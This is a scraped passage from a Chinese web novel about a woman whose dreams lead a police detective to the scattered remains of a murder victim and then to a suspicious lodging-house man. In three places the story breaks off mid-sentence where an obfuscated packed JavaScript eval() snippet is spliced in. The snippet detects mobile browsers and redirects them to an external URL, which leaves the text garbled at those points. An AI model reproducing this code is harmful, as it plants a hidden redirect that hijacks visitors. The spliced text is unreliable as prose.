“倒没查到什么,是有群众突然来到警局,说看见有人抛尸了,我们现在去其中一个疑似抛尸地。” “靠谱吗?” 陆闻渊闻言,又从后视镜看了宋辞一眼,没说话。 他不敢说,群众做梦梦到的,你说有多靠谱?他怕被这俩人当成神经病。 宋辞一秒钟明白了陆闻渊眼中的含义:“不靠谱你还兴师动众地让人赶过去?你这不是浪费警力吗!简直胡闹!我一定要向张局举报你。” “……” 别说举报到张局那,就是举报到省厅,他陆闻渊也不在怕的,但是…… “来举报的群众说的过程的确匪夷所思,但是她说的案发现场和凶手抛尸的过程又太细节了,不是亲眼看到知道不了那么详细。就拿商场门口的碎尸来说,她知道那是用生了锈的手摇绞肉机绞碎的,她还知道碎肉里除了小半个手掌,还有两截脚趾。” 陆闻渊停顿了一会儿,等待宋主任发表意见。后者却沉默了,确实,这些细节不是亲眼看见根本不可能知道。 车内分外安静,只有发动机运转的“嗡嗡”声。 “其实……”坐在宋辞身边的崔宝宝突然开口,道:“其实,除了亲眼看见,恐怕就只有凶手本人能知道这么多细节了。” 陆闻渊从后视镜里赞赏地看了崔宝宝一眼:“小崔说的也有道理。但是这名群众从小被爹妈惯着养废了,败家子一个,肩不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406817|200556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑手不能提的,除了花钱挥霍一无是处,我不认为她有胆子做出杀人碎尸这种事情。” 宋辞诧异,警队人人都知道陆闻渊的陆是隶市很有名的哪个陆家的陆,陆家家大业大,要不是陆闻渊早早当了公安,现在早就成了陆家的掌权人了,何苦便宜了他那个废物弟弟。所以陆闻渊认识那种除了花钱一无是处的败家子,并不稀奇。 “报案人是你那个败家子弟弟?” 陆闻渊嗤了一声,否认道:“不是,他要看见了估计会吓破胆,不可能来找我报案。这个报案人以前算是陆家的亲戚吧,现在不是了。不过她应该没见过我,我也是只见过她的照片,模样和名字对上了,才确定是她。” 宋辞和崔宝宝同时无语,怎么亲戚还能一会儿是一会儿不是?还有什么亲戚这么大了一面没见过? 陆闻渊接着刚才的话题继续到:“这起碎尸案太难了,除了一袋碎肉,什么线索也没有。我刚才在办公室没说,省厅给我们下了命令,七日内必须破案……” 宋辞曬哂了一声:“所以,你就司马当活马医?” “什么司马当活马医?我这叫将人民群众的声音放在心上,不放过任何一个可能有用的线索。” 陆闻渊说完,又加了一句:“不过既然报案人有嫌疑,我已经将她留在审讯室,是不是凶手,早晚能被我们查出来。” 陆闻渊话音刚落,吉普就一个急刹,停了下来。 “到了。你们先在车上等着吧,有线索我再让人喊你们。” 话音未落,陆闻渊已经下了车,大踏步走远了。 这是一处城郊过境公路,当年为了发展经济,隶市和隔壁C市联合修建,因为修建过程中发生了重大事故,死伤了十多名修路工人,相关负责人被处理,之后工程就无限期停工了,这条路也就成了断头路,平时的确没什么人来。 三组组长陈建华见到陆闻渊,三两步迎了上来,汇报道:“我跟市政部门确认过了,这条路已经在市政规划里,计划明年重启。” “明年?”陆闻渊想起审讯室里姜蕊说的那句话,还真是半年。 他问三组长:“路上看见刺猬了吗?” 说起刺猬,三组长陈建华眼睛亮了一瞬,道:“陆队,你真是神了!这条路上还真有一条不成样的刺猬,看刺猬身上的痕迹,应该是先让自行车来回碾压,又被人使劲踩了几脚,身子都给踩扁了。我已经安排人在附近地毯式排查了,目前还没有线索。” “嗯。”听陈建华这样说,陆闻渊就知道应该就是这里了。 “潜水队的人到了吗?” “到了。”陈建华朝着远处一指,道:“已经在发现刺猬路段的附近水域下水打捞了。” “好。我去看看。”陆闻渊一边往里走一边嘱咐陈建华,“去车上通知宋主任,让他给刺猬采样,看能不能提取出脚印,那很可能是凶手的。” 陆闻渊刚刚走到现场,就见一名潜水队员浮出水面:“有发现!” 5. 第 5 章 这是一个因为修路施工而废弃的河道,现在只能被称作河沟。 这里地势低,上游的污水都顺着河道流下来,但是下游已经被封死,污水流不出去,全积在这里。河面上全是从上游冲下来的枯枝树叶和各种垃圾,腐败的气味直冲脑门。陆闻渊刚刚走近,就差点被那比垃圾站还刺鼻的腐烂味道呛个跟头。 岸上的几名队员合力拽着一根安全绳,将水里的潜水员安全拉上了岸边。 陆闻渊这才看清,潜水员腰腹以下的位置全是黑泥,走近了还能闻见臭味。 潜水员早就看见陆闻渊站在岸边,一上岸就扯下了面罩,还没来得及喘口气,先一步走到陆闻渊身边,将一个尼龙网兜往陆闻渊怀里塞。 陆闻渊拍了拍对方的肩膀:“辛苦了,老严!还劳动你这个副队长亲自下水了。” “别说那些没用的,回头请我吃饭。”潜水队副队长严方挡开陆闻渊的手,“打开瞧瞧,是不是你要找的?” “那还用说?饭肯定是要请的。” 陆闻渊说着便原地蹲了下来,打开了尼龙网兜,仔细地查看了起来。 甫一接近,那股比河沟里的垃圾腐朽一万倍的气味儿扑面而来,陆闻渊脑子一冲,下意识的骗了下头。 网兜里边是一个圆滚滚黑乎乎的球一样的东西,虽然遭到蒸煮,皮肤组织已经被严重破坏,又在污水里浸泡了一夜,表面沾满了泥垢,但依然能辨认出这是一颗人头。只是,更专业的鉴定还需要专业的法医来进行。 人头旁边是一个最常见的铸铁秤砣,与头颅绑在一起,看那大小,目测是五十斤制的。 陆闻渊抬头扫了一眼,正好看见陈建华带着宋辞和崔宝宝走到上边的路上。 陆闻渊起身远远招手:“老宋!” 宋辞听到声音,看到陆闻渊面前摆着打捞用的尼龙袋,虽然里边的东西只露出来一点,也足以让他判断那是一颗人头。宋主任当即脸色大变,一边喊着别动一边飞奔了过来。 宋主任只看了一眼,便神色一凛:“老陆。” “啊?”陆闻渊听见宋辞突然叫自己的名字,转头去看他,可对方并未看他,只是对他竖起一只大拇指。 陆闻渊:“……” “勘察箱。” 宋辞刚向旁边伸出手,就听旁边的崔宝宝道:“师哥,给,纱布。” 宋辞有些诧异的回头,便见崔宝宝面色如常,正将一卷纱布递过来。 “你……你要是受不了,就去上边等着。” 崔宝宝闻言只是笑了一下,从口袋里掏出一双米黄色橡胶手套戴在手上,走到宋辞身边:“主任,你可别小看我,我可是咱们刑警学院最优秀的法医学毕业生,不必你当年差的。” 说着,也不等宋辞吩咐,崔宝宝就地用纱布将尼龙打捞袋里的人头仔细裹好,连同秤砣一起,放进法医专用的黑色塑料袋里。 “主任,我先将检材放回车里的,一会儿再回来给刺猬收尸。” 一众队长组长外加法医室主任,都目送崔宝宝同志离开的背影。 陆闻渊:“新来的这个小崔有前途。” 严方:“有个性。” 陈建华:“……真厉害。” 感叹完,陆闻渊拿出二哥大,去旁边打了几个电话,将一组二组的警力连同随派过去的潜水队员,全部调集到三组这边。 “三组已经开始在周围展开地毯式搜索了,一组的同志都听建华安排,务必将这条废弃公路绝地三尺,决不能放过一条可能有用的线索。二组的同志跟着我,配合潜水大队打捞。” 一组的人应声,跟着三组长陈建华离开去行动了。 陆闻渊又对严方道:“老严,我知道这片水域情况比较恶劣,但是还得劳烦你们潜水队重新下水,对这片水沟进行一个地毯式搜索,我不能确定这里面一定有死者的其他组织,但只要有万分之一的可能,我们都要找下去。” 严方拍了拍陆闻渊的肩膀:“行了,老陆,我们潜水大队直属治安大队,也是我们公安系统的一份子,发生这么大的案子,关乎人民群众的生命安全,我们一定全力配合。” 半个潜水队都来到了城郊过境公路旁的河沟边上,在副队长严方的带领下,对这片河沟进行了地毯式的搜查,漂浮在水面上的垃圾,被他们打捞上来,刑警队的同志一一排查。河岸边的淤泥,也全都被潜水大队翻道岸上,仔仔细细摸了一个遍,刑警队又摸了第二遍,只是除了最开始的那颗人头,一无所获…… “哐当”一声巨响,紧接着有人喊了一声:“嘿!骑车子那个,你箱子掉了!” 姜蕊从黑暗中睁开了眼睛,便看到一个骑着自行车远去的背影。 这次她好像在路的中间,视野很开阔,能把周围的环境看清。这里好像是一处桥上,两边都有石头做的栏杆,桥头两边还能看到石狮子的后背。 捡到箱子的流浪汉从口袋里拿出一个手电筒,手电筒似乎没电了,打出的光一闪一闪,还是黄色的。流浪汉用手电光向着前边晃了晃,还往前追了几步:“嘿!别走了啊!你东西掉了!” 骑车那人就像聋了瞎了一样,根本没理会他。 “嘿!东西掉了都不要,不是大款就是二愣子。哼,骑个破自行车,车圈都瓢了,肯定是个二愣子。” 流浪汉收回手电筒的瞬间,姜蕊凭借自己1.5的视力,看清的骑自行车的人光洁的头顶。 姜蕊心里“咯噔”一下,是那个凶手! 再看看地上的箱子——蓝色的塑料箱,个头还不小。 姜蕊顿时有个不好的预感,凶手不是不小心丢了箱子,他这是故意的,他在抛尸。 流浪汉打开箱子的时候,姜蕊都替他捏了一把冷汗。可那流浪汉只看了箱子里的东西一眼,眼睛瞬间就开始冒光。 “嚯!这么多肉!还有大骨头!嘿嘿嘿嘿——” 笑声戛然而止,他看向“二愣子”离开的方向,啐了一口:“呸!回去挨媳妇儿骂去吧,这些肉和骨头归我了。” 姜蕊:“……” 不是,大哥,那肉和那骨头可都不兴吃啊! 她眼睁睁看着那人美滋滋地抱起箱子,哼着小曲就向她走来,然后一脚踩在她的头上…… 姜蕊被这一脚踩醒了,她突然坐直了身体,发现自己还在审讯室里。对面看守她的女警拿着一本《刑事侦查学》,正津津有味地看着。那表情好像那不是枯燥的专业书,而是有趣的言情小说。 “公安姐姐,请问你们陆队回来了吗?我还有重要线索要汇报,晚了线索可能就被人吃紧肚子里了。” 女警韩梅梅同志一听报案人又有重要线索,一刻也不敢耽搁,跑到刑警队座机旁就拨通了队长的二哥大号码。 "嘀——嘀——嘀——"穿透力极强的刺耳声音,从刑警队大院传进办公室里。 韩梅梅放下电话,三两步跑到床边,看到院子里停了五六辆警车,陆队正拿着二哥大从吉普上下来。 陆闻渊得知姜蕊有重大线索,连口水都没得及喝,一进门就脚步不停的扎进了审讯室。 他还没坐稳,就听姜蕊急着问他:“有结果吗?找到人头了吗?” 陆闻渊并没有回答,只是盯着姜蕊的眼睛看了良久,久到姜蕊都怀疑这个经验丰富的刑警队长是不是看出她早就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406818|200556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 换了芯子了。 姜蕊硬着头皮打破沉默:“陆队?你听到我说话了吗?” “找到了。”陆闻渊终于开口,“我们在城郊的一条废弃公路上发现了一只被踩扁的刺猬,并且在同一地段的河沟里打捞出了一颗绑着秤砣的头颅。” 虽然早有心理准备,但姜蕊还是被这一结果惊得说不出来话。 原来她的噩梦果然是真实的案发现场。 同时,她心里又万分自责,如果在她第一次梦到案发现场的时候就报警,是不是这案子早就破了?如果能早点抓到凶手,死者或许也能少受些罪,起码不会连头都被人煮了。 “我刚才又看到了!凶手故意将装有死者碎肉和骨头的蓝色塑料箱扔在一个桥上,被一个流浪汉捡走了。你们得赶紧找到他,否则那些……都要被吃掉了。” 打捞上来的人头是真的,这让陆闻渊不得不更加重视姜蕊提供的每一条线索:“什么样的桥?在哪里?” 姜蕊努力在原主的记忆中搜寻,可没什么结果。她向陆闻渊伸手:“给我纸和笔,我画给你。” 陆闻渊二话不说,亲自将自己的钢笔和笔记本交到姜蕊手中。 姜蕊接过去用钢笔在横格纸上刷刷几下,就将自己梦中见到的桥面的素描图勾勒出来了。 “就是这座桥。” 陆闻渊接过笔记本看了一眼,转身就往外走,还不忘吩咐韩梅梅:“给她找张床,让她好好睡觉。” 姜蕊挑眉——嚯!这时候的刑警队长这么人性化呢?知道她在审讯室睡不好,还好心地让人给她找张床。 陆闻渊一出审讯室的大门,就喊了人跟自己一起出去了。 这座桥他认识,就在那条废弃的过境公路回市区的必经之路上。 陆闻渊行动迅速,他带人找过去的时候,在桥下发现了姜蕊说的那名流浪汉。 这时候流浪汉刚刚搭好灶台架起了锅,骨头已经放进锅里,但还没来得及点火。见到一帮公安围上来的时候,流浪汉吓坏了:“不就捡了一箱子肉和骨头吗?至于惊动公安吗?” 陆闻渊让人将那个蓝色的箱子,连同里面的肉,还有锅里未来得及煮的骨头,就连人流浪汉自己捡来的锅都没放过,全部收进证物袋里,带回市局。 为了不引起不必要的恐慌,陆闻渊并没有告诉流浪汉箱子里的东西是什么,只是说让人跟自己回警局做个笔录,然后会有专门的人来接他去收容站。 陆闻渊从出发到回警局,前后不过一个多小时,回来的时候,天刚蒙蒙亮。 他让人将物证袋直接送到法医室和检验科,自己一进办公室就直奔审讯室,路过休息室门口的时候,被出来倒水的韩梅梅叫住:“陆队,报案人不在审讯室。” 陆闻渊蹙眉:“不在审讯室在哪?你放人走了?” 韩梅梅赶紧摇头:“不是你吩咐的吗?给她找张床让人好好睡一觉。” 陆闻渊这才舒展了神色,似乎是松了一口气:“那她睡着了吗?” “应该是睡着了吧?” 韩梅梅王休息室瞟了一眼。她也不确定,反正人小姑娘躺在那里就没动过。 不过陆队这么关心人家报案人睡没睡着是怎么回事?莫非……?也难怪,她就没见过那么漂亮的小姑娘,爱美之心人皆有之,陆队想追人家也能理解。 韩梅梅眼珠子一转,陆闻渊就知道她在想些什么有的没的。他在韩梅梅头上弹了一下:“少在警队看你那些包着刑侦教材封皮的台湾言情小说,污染大脑。” 陆闻渊也向休息室看了一眼,才道:“我是想问问报案人又做梦了没有?还指着她给提供线索呢。” 6. 第 6 章 姜蕊这一觉睡得很沉,几乎叫不知天地为何物,一窗之隔的刑警队办公室嘈杂如斯,都没能吵醒她。 最后,姜蕊是自己醒的,其实她也就睡了三四个小时而已。 她醒来的时候脑子还是懵的,以为自己还在前世的病床上,只是今天医院的天花板怎么这么干净,房顶上的灯管什么时候变成灯泡的?还有,谁在病房吃驴肉火烧啊?这么香,这不馋人呢吗! “你醒了?” 一个男人突然出现在视野里,吓了姜蕊一大跳。病房里什么时候来了个男人?胡子拉碴的,怪糙的。 她猛地一翻身,一下子落了空,从床上掉了下来。 姜蕊就势坐在原地,一下子清醒过来。 哦,原来她穿越了,现在是在刑警队,刚才吓她一跳的哪个胡子拉碴的男人是刑警队长陆闻渊。 堂堂刑警队长陆闻渊,正手里攥着一个驴肉火烧,伸出去一半的手迅速收了回来,冲外边吼了一句:“韩梅梅!” 正在办公室抢火烧吃的韩梅梅听着自家队长的吆喝,三两步跑进休息室,一边跑一边在驴火上咬下来一大口,鼓着腮帮子尽量咬字清晰:“队长,肿么——嗝——了——嗝——?” 由于吃得太急,韩梅梅感觉一口火烧噎在喉间,怎么也下不去,张口就打嗝,憋得脸都红了。 陆闻渊恨铁不成钢:“着什么急?我短过你们吃的吗?瞧你们一个个没吃过东西的样子。驴肉火烧多的是,不够吃我连驴火坛子都给你们搬来。” “我这不是饿——嗝——急了——嗝——吗?” 自从碎尸案案发以来,刑警队的人就没好好吃过一顿饭,更没合过眼。好不容易队长大放血,舍得给他们买驴火,谁不吃谁是傻子。 “行了快去喝口水,你一个人民公安也不怕群众笑话。” 坐在地上的某位群众无语地自己从地上爬了起来。 陆闻渊目光转移到休息室里唯一的群众身上,目光炯炯:“?” 姜蕊一手叉着腰一手揉着酸痛的脖子,看着他,回以一个:“?” 昨天光顾着报案了,她都没注意,这个刑警队长除了腿长,脸也好看。看他这样子应该是这几天都没回家,脸上虽看不出疲倦,但下巴上露出了青黑色的胡茬,看上去的确糙了不少。 韩梅梅喝完水,终于不噎了,转身就看到自家队长和人民群众大眼瞪小眼,好似在打什么哑谜,她走到两人中间,好心的提醒道:“陆队是想问……” 她看了一眼休息室门口,突然声音小了很多:“你又梦到什么线索没有?” 姜蕊果断的摇摇头:“没有,这是我来这里后睡的最踏实的一觉,什么也没梦到。”虽然这张一米二的行军床睡得她浑身酸痛,但她精神十分饱满,感觉大脑都轻松了不少。 “对了,昨天的那个箱子找到了吗?” 陆闻渊点点头:“找到了,法医已经确认,是人体组织无疑,等做完个人表型检验,才能确定跟之前的碎尸是不是同一人。” 他将手中还冒着热气的驴肉火烧递给姜蕊:“先吃点东西吧。” 姜蕊诧异:“我也有?” 陆闻渊请全队吃驴火,竟然还有她这个外人的份儿!要知道这个年代人们的平均工资也才四五百块钱,而驴火就一块钱一个。 姜蕊悄悄扫了一眼大办公室里,这至少得有几十号人吧?平均一人两个驴火,小半个月的工资没了! 诧异归诧异,姜蕊毫不客气的接过驴火:“那就谢谢啦,早就想吃这一口了,就是没钱。没舍得买。” “……” 陆闻渊默不作声地看了姜蕊一眼,怎么跟她传说中的作风不一样? “那你慢慢吃,想起什么线索让韩梅梅叫我。” 姜蕊连连点头,目送陆闻渊的背影离开,就凑到韩梅梅身边蛐蛐她们队长:“哎,公安姐姐,你们队长工资很高吗?”她举了举手中的驴肉火烧:“这么奢侈?” “你不用那么客气,叫我韩梅梅或者梅梅就行,大家都这么叫我。” 韩梅梅将陆闻渊对姜蕊的态度看在眼里,自觉转移立场,跟着这名群众一起蛐蛐自家队长:“我们队长的工资我哪里清楚,左不过五六百吧。不过队长家里有钱,请我们吃驴火都是小意思,你看他口袋里装的那个二哥大了吗?一万多块,每个月光月租就一百五。所以,放心吃,队长家里不差钱。” “真有钱啊。”姜蕊感叹道,突然感觉手里驴火都不香了。 姜蕊化嫉妒为食欲,低头狠狠瞪着手里的驴肉火烧——万恶的资本家,没事儿跑来当什么公务员啊。 手中的驴火,火烧皮酥脆,里面的碎肉是酱红色的,其间还掺杂着一些白色的肥肉,用手捏一下,碎肉里还能冒出油汁来…… 姜蕊一下子就联想到梦中那条被绞成肉馅儿的青白色大腿…… “呕——” 姜蕊捂着嘴干呕了一声,差点把昨天韩梅梅给她从食堂打回来的白菜炖肉都吐出来了。 韩梅梅也顾不上吃了,放下手里的东西,给姜蕊递了杯水:“怎么了这是?要不我找宋主任来给你看看吧?” 姜蕊喝了口水,才将那阵翻涌的感觉压下去:“我没事,就是有点口渴。” 她将手里没动过的夹满驴肉的火烧递给韩梅梅:“这个你吃吧,凉了就不好吃了。我今天吃不了这个。” “你想到那些碎肉了吧?快摇摇头,忘掉!”韩梅梅看她脸色有些惨白,担忧道:“要不我去食堂给你打点清淡的?” 姜蕊摆摆手:“不用不用,你吃你的,一会儿你们还要工作,我还不饿。” 说完,她好像突然想起什么,问韩梅梅:“对了。你刚才说的宋主任是?你们警队还有队医呢?” 韩梅梅理所当然地点点头:“有啊,法医室宋辞宋主任,法医也是医啊。” 姜蕊:“……” 我真是谢谢你了。 韩梅梅看姜蕊的表情就知道她在想什么,忙道:“真的不骗你,我们平时有个头疼脑热,都找宋主任拿药。” 姜蕊更无语了。刑警队真是卧凤藏龙,有人敢找,有人真敢给看。 “大家吃着,听我说就行。”大办公室里,陆闻渊的声音响起,“验尸报告出来了,先让宋主任跟大家通报一下。” 宋辞抬手扶了扶自己的眼镜,像个机器人似的道:“经过测定,确定昨天从河沟里打捞出来的头颅,还有今早找回来的碎尸块和骨头,与商场门口发现的碎尸块儿均属于同一个人。昨天发现的骨头里有一节肱骨残段,由此可粗略推断出死者身高在155道163厘米之间。” 姜蕊从休息室向外看去,大办公室里的人已经放下手里的吃的,该认真听的认真听,该记笔记的记笔记。 宋辞恕我按,便坐在一边。 “也就是说,死者是一个三十多岁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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做完动员,陆闻渊继续分配任务:“建华,你带人,沿着今早那条路去一个一个走访,看看还有没有人在凌晨见过嫌疑人。还有……” “陆队!”姜蕊从休息室里走出来,“凶手是个秃头。” 一时间所有人的目光都看向姜蕊。 姜蕊虽然不习惯这么多目光,但还是从容地继续说下去:“我曾两次见到凶手的背影,他是秃头,身材微胖,我见到他的时候他都在骂街,我感觉他应该是个性格暴躁的人。” 刑警队的其他人还在诧异这个漂亮姑娘说的见到过凶手,甚至还没来得及思考这姑娘说的话是否可信,就听自家队长发话:“好,建华带人去沿路走访,重点询问过往群众,从昨晚开始,有没有见过一个秃头,身材微胖,骑着自行车的男人。” “啊,啊?”陈建华有点反应不过来,队长就这么听这个小姑娘的? “啊什么啊?”陆闻渊一看下属的表情就知道他在犹豫什么,开口就编:“姜蕊同志是省厅派下来协助市局侦办碎尸案的专家,死者的人头就是根据姜专家的分析找到的线索,听姜专家的没错,还不快去。” “是!”陈建华带着人迅速出警去了。 姜蕊:“……” 这么轻松就得了一个“专家”的称号?果然什么人都能当专家。 “虽然凶手的信息少之又少,但我们也不能坐以待毙。在法医室重塑出被害人面貌之前,再——” “陆队。”姜蕊再一次打断陆大队长的发言,做出了一个小学生举手一样的姿势,“我,我能画出死者的相貌。” 陆闻渊双目沉沉:“你?” “对,我能画。”姜蕊点头,小声道:“我见过。” 确切的说,是见过死者被砍下来的头颅。 7. 第 7 章 陆闻渊几乎立刻想起姜蕊在审讯室交代的那句话——“第一次是梦到自己躺在地上,面前是一颗流着血泪的人头。” “其他人该干嘛干嘛,你……姜专家跟我进来。” 姜蕊这个假专家跟着陆闻渊进到队长办公室,对方还未开口说话,她就毫不客气地先在坐在队长办公桌前的椅子上,在桌面逡巡了一圈,没看到稿纸,还转头问一旁观察她的陆闻渊:“陆队,借我一张稿纸。” 陆闻渊深吸一口气,坐回自己的办公椅上,从抽屉里取出来一沓稿纸,郑重的放在姜蕊面前。 姜蕊从口袋里逃出陆闻渊的钢笔,递给他,“钢笔还你,你这有铅笔吗?借我用一下。” “……”陆闻渊整了张嘴,最后只是低头在抽屉里摸出一只铅笔,“给”。 姜蕊很庆幸自己上一世信奉技多不压身的至理名言,什么都学了一点,包括散打、美术等,其中素描是她学习时间最长,也是最擅长的业余爱好。 铅笔在稿纸上沙沙作响,迅笔勾勒出轮廓,再层层排线,落笔成形,一气呵成,不多一会儿,被害人的形象跃然纸上。 画完第一张,姜蕊又在另一张稿纸上画了第二张,两张画像上唯一的不同点,就是第一张稿纸上的被害人脸上有一行深色的泪水,第二张没有。 陆闻渊明白,第一张张纸上的被害人是姜蕊梦中见到的形象,他几乎能从稿纸上黑白线条中,想象得到当时的惨烈情形。 “你等我一下。”陆闻渊拿起第二张稿纸出了办公室门。 “王姐!” 王敏立刻从小山一样的档案中脱身而出,“队长,我在这儿呢!” 陆闻渊将姜蕊的素描画像交给王敏:“去,多复印几分,留一份给法医室,其他人拿着画像,出去挨家挨户走访,不光在南城区,还要扩大到全市,市区周边的城郊农村也不要疏漏。凶手能在市区抛尸,说明他就住在附近,而被害人肯定离他不远。记得走访的时候,排查一下,群众中有没有人认识秃头、微胖、脾气暴躁的男性,记录下来,见到相似的人,不必问话,立即带回来接受询问。” 陆闻渊回到办公室,看到姜蕊正襟危坐,而他借给她的那只铅笔连同那叠稿纸和他的钢笔,正一起正规规整整躺在他的办公桌正中间。 见他进来,姜蕊起身:“陆队现在不把我当嫌疑人了?” “抱歉!我也只是公事公办而已,对你造成的困扰和冒犯,我郑重向你道歉。” 作为隶市刑警队长的陆闻渊最不怕的就是承认错误,错了改过就行,知错不改才是大忌,而且办案哪有永远不走弯路的。 陆闻渊这么大个队长张口就向她道歉,倒让姜蕊觉得自己有些为难人了。最后她反倒安慰起陆闻渊来:“理解理解,人民公安么,办案严谨一点应该的,绝不能放过每一个有嫌疑的犯罪分子,我们群众理解,也支持。” 拍了一通马屁,姜蕊最后才问出自己最想问的:“所以,现在我能离开这里了吗?” 她身份证还在旅馆老板娘那压着呢,东西也在旅馆的房间里。虽然仅有的几块钱现金她都是随身揣在兜里,旅馆里只剩下几件衣服,但是这个年代,谁家都不富裕,几件衣服也不能说丢就丢啊。而且就算因为没钱会被老板娘赶出来,可她的身份证必须得要回来。身份证是原主回到农村后重新办的,如果弄丢了,还要回到原主亲生父母开介绍信,她可不想再回原主那个奇葩的家。 “当然可以。”陆闻渊马上侧身让开了门口的路,“你随时可以离开。不过你现在住哪里?需要给队里留个联系方式,有情况我们可能还需要你配合,或者你再……” 陆闻渊想说“梦到”这个词,但是作为人民公安,他是唯物主义最坚定的拥护者,不能带头搞迷信,遂改口道:“或者你再有什么线索提供,欢迎你随时来刑警队。” 陆闻渊这一问,倒难住姜蕊的。 “我现在住在车站旁的大众旅馆。” 她自思考了一下,还是没有说出实情,只道:“配合公安机关办案是人民群众的义务,我再有其他线索一定会第一时间来警局报案的,你放心。” 姜蕊回到旅馆的时候,本来还有些忐忑,可从前台路过的时候,并没有见到老板娘,而是前一天早上畏畏缩缩来找老板娘寻老婆的那个男人。 她记得老板娘叫他老李,他老婆叫什么来着……翠芬! 不知道他家翠芬回家了没有。 姜蕊松了一口气,快步回到房间。 在刑警队一天一夜,没擦身也没换衣服,她都觉得自己有味儿了。现在这年代,这条件,也不允许她痛痛快快的洗热水澡。她回到房间第一件事就是拿了脸盆去洗漱间打了半盆水回来,再倒上暖壶里的热水,凑活着擦了擦身,聊胜于无,但也感觉清爽不少。 姜蕊换好衣服,端着水盆,拿着肥皂,准备去洗漱间将换下来的衣服洗干净。 可一开门,“哐当——”一声,手里的水盆掉在了地上,水“哗啦啦”地撒了一地。 她的门口竟然站着一个人!那个老李!这人不知道什么时候站在她门口的! 老李垂着头,额前的刘海有些长,遮住了大半眼睛,让人看不清。 但姜蕊全身的鸡皮疙瘩都竖起来了,这人站在这里,实在让人不舒服。 她顿时有些生气:“你站我门前干什么?” 不知道这人站在这里多久?青天白日的,想干什么? 姜蕊房间的隔壁住是一对南方的夫妻,来隶市做买卖的,听见声音开门出来,见到姜蕊门前站着一个阴森森的男人,立马走上前来:“妹子,怎么回事?你没事吧?” 老李看到有人走过来,什么也没说,低着头灰溜溜的转身离开了。 “没事。” 姜蕊对那对夫妻表示感谢后,问他们有没有见到老板娘。 隔壁的大姐说:“我们从昨天中午就没见过她了,倒是这个老李一直坐在前台,人看着挺老实的,让他帮着办点什么事儿立马给帮着办了,倒不知道他还能干出这种事儿!” 大街看着散落在地上的脸盆、毛巾、肥皂、衣服还有水,脑中顿时警铃大作:“他不是想耍流氓,偷看你洗澡吧?这没抓他现行,报警可能也说不清。不行,这里不能住,我们得换一家旅馆了。” 大姐两口子回房间收拾前,还不忘嘱咐姜蕊:“妹子,这个老李看着老实,你留个心眼,我看你一个人也别住这儿了。” “好。” 姜蕊收拾好门口的东西和水渍,也没有心情洗衣服了,坐在床上左思右想。 这个老李太奇怪了,他能坐在老板娘的位置,一定也有房间的钥匙,如果他真对自己起了歹心,那真是防不胜防。 这个旅馆是真的万万不能住了。 将自己为数不多的行李收拾好装进随身的军绿色背包里后,姜蕊来到前台。老板娘竟然还不在,那个老李也不知道去哪里了。 管他呢。 姜蕊记得,住进来的时候老板娘随手将她的身份证收进了左手边的抽屉里。她来到前台里边,第一眼就看到有一个抽屉上还插着钥匙,一定是装贵重物品用的,还有什么能比身份证贵重呢? 她打开一看,里边竟然是钱。红色的一块,绿色的两块,棕色的五块,蓝色的十块,甚至还夹着两张黑茶色的五十块,其余都是毛票,目测加一起得有好几百呢,不必刑警队长一个月的工资少。 我的天呢!这么多钱! 姜蕊赶紧给人关上,这老板娘心也忒大了,这人来人往的车站对面、旅馆门口,放钱的抽屉都不锁,钥匙明晃晃的挂上面,这不是告诉人家这里有钱,快来偷吗? 姜蕊又打开最左侧的抽屉,里面还真放着几张身份证,她从里边找出自己的身份证,刚关上抽屉,就感觉屋子瞬间暗了下来,门口有什么东西挡住了光。 一抬头,来人身材微胖,却佝偻着背,一头油乎乎的头发顶在头顶,好像几百年没洗一样,不是那个老李是谁。 “你在干什么?”老李的声音似乎跟昨天不一样,虽然同样很轻,但足以让姜蕊听得见,但是比昨天更低沉更浑浊。 “……” 姜蕊皱眉,没由来的心脏怦怦直跳,只觉得这个声音莫名有些熟悉。但她只记着这个老李刚刚站在她房门口不知道要干什么,就浑身不得劲。不欲与他多说。 “我找自己的身份证。我不住了,你跟老板娘说一声。” 说着,姜蕊就要往外走,可旅馆的门口就那么大,老李身材有些微胖,站在中间就将门口挡住了大半,不管姜蕊从哪边出去,势必都要碰到他。 “麻烦让一让,我要出去。” 老李慢慢抬起头,直勾勾地看着姜蕊:“你要走?” 一听这话,姜蕊也来了脾气:“对啊,我要走,不住了,跟你有什么关系?让开。” 老李突然露出一个轻蔑的表情,与他畏畏缩缩的体态格格不入,以至于让他脸上的赘肉和五官都变得扭曲起来。 “你走不了……” 嘿!我个暴脾气!你算哪根葱啊你不让我走? 姜蕊刚要卷起衣袖跟这个里里外外都透着奇怪的男人理论一番,就听门外有人开口:“干什么呢?” 姜蕊抬头一看,嘿,熟人! “王姐!你们走访到这儿了?” 王敏带着一个组员在车站周边进行走访,正好轮到大众旅馆。 “对。”王敏见到姜蕊也是有些意外,“姜专家,你怎么在这里?” 有公安同志在场,姜蕊赶紧告状:“我之前住这里,今天准备离开了,这个人不让我走。” 